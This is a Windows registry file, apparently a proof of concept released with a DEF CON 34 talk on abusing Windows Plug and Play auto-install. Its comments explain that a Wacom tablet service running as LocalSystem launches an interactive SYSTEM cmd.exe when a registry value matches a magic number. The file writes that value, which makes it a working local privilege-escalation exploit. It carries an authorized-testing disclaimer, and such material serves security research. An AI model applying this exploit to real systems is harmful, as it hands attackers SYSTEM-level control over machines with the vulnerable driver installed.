Windows Registry Editor Version 5.00

; Plug and Pwn: Weaponizing Windows PnP Auto-Install
; DEF CON 34 (2026) -- Alejandro Hernando & Borja Martinez
;
; Proof-of-concept released with the talk. Provided for education and
; authorized security testing only. No warranty. Use only against systems
; you own or are explicitly permitted to test.
;
; PowerT is the value WTabletServiceISD (Wacom, LocalSystem) checks
; against 0x346B4C7F. When it matches and AutoAdminLogon is 0 or absent,
; the service calls CreateProcessAsUserW on WinSta0\default and drops
; an interactive cmd.exe as NT AUTHORITY\SYSTEM. Requires write access
; to HKLM, so this only helps if you already have a way in there
; (in our chain, the Atheros admin service writes it for us).

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WTabletServiceISD\Service]
"PowerT"=hex:7f,4c,6b,34